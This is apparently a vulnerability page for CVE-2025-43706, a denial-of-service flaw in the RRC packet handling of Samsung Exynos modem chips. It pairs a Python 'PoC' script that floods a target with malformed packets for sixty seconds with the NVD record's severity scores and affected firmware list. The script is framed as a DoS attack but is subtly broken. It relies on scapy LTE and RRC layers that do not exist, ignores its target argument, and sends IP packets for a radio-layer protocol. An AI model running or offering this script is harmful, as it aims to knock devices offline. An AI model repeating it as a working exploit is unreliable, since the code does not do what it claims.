CVE-2025-43706

# CVE-2025-43706 PoC - Malformed RRC Packet DoS # This PoC demonstrates sending a malformed RRC message to trigger the vulnerability from scapy.all import * from scapy.layers.lte import * def create_malformed_rrc_packet(): """ Create a malformed RRC packet to trigger L2 layer handling issue """ # Create LTE RRC message with oversized or malformed fields rrc_packet = LTE() / RRC() rrc_packet.rrc_message_type = 0x01 # RRC Connection Request or similar # Add malformed fields that may trigger L2 processing bug # This is a conceptual PoC - actual packet structure depends on target malformed_data = b'\x00' * 1000 # Oversized data to trigger buffer handling # Construct packet with extended header to bypass validation packet = LTE() / Raw(load=malformed_data) return packet def send_dos_packet(target_ip, duration=60): """ Send malformed RRC packets to target device """ print(f"[*] Starting DoS attack on {target_ip}") print(f"[*] Sending malformed RRC packets for {duration} seconds") start_time = time.time() packet_count = 0 while time.time() - start_time < duration: try: # Create and send malformed packet pkt = create_malformed_rrc_packet() send(pkt, verbose=0) packet_count += 1 if packet_count % 100 == 0: print(f"[+] Sent {packet_count} packets") except Exception as e: print(f"[-] Error: {e}") print(f"[*] Attack completed. Total packets sent: {packet_count}") if __name__ == "__main__": # Target configuration target = "192.168.1.100" # Replace with actual target # Execute DoS attack send_dos_packet(target, duration=60) print("[*] PoC execution completed")

{"cve": {"id": "CVE-2025-43706", "sourceIdentifier": "[email protected]", "published": "2026-01-05T19:15:56.060", "lastModified": "2026-01-09T14:14:35.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in L2 in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2400, 1580, 9110, W920, W930, Modem 5123, and Modem 5400. Incorrect handling of RRC packets leads to a Denial of Service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "43DE4D6F-D662-46F2-93BC-9AE950320BDE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1080:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE06CD56-8BFD-4208-843A-179E3E6F5C10"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1580_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3594664-3CE6-4827-ABD4-B5719817F5D5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1580:-:*:*:*:*:*:*:*", "matchCriteriaId": "93C1F9E8-DA04-4466-AF66-01560A07BD98"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "5F18F62E-2012-442E-BE60-6E76325D1824"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_980:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D8701B6-6989-44D1-873A-A1823BFD7CCC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_990_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BCF6C91D-DECE-4630-85FE-C22EF2B9160A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_990:-:*:*:*:*:*:*:*", "matchCriteriaId": "87FE8214-E165-4874-BB5A-3C4298708039"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_9110_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F1896BFF-D709-481B-AD4F-37D1A8B30C06"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_9110:-:*:*:*:*:*:*:*", "matchCriteriaId": "E6748EF2-3C63-41CD-B3D1-4B3FEC614B40"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_850_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "1928760C-4FC4-45B0-84FF-C1105CD1DD2A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_850:-:*:*:*:*:*:*:*", "matchCriteriaId": "BB410A6D-642B-49AE-8B1C-EADA953A84DA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2400_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "16D9272E-1794-48FF-B6A4-8F48395BA38E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2400:-:*:*:*:*:*:*:*", "matchCriteriaId": "932F5FB3-5527-44D7-9DD9-EF03963E3CA3"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_w930_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "801E188F-C71B-4933-9099-151A4A1B1BC5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_w930:-:*:*:*:*:*:*:*", "matchCriteriaId": "8D8FC82D-57C5-4F00-BDF4-4261A32C4246"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_w920_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "B6ADED27-EDAF-4FB3-8CB2-AE5F59B93641"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_w920:-:*:*:*:*:*:*:*", "matchCriteriaId": "4BF79654-E5C6-4DFF-B33A-A78571CD300C"}]}]}, ... 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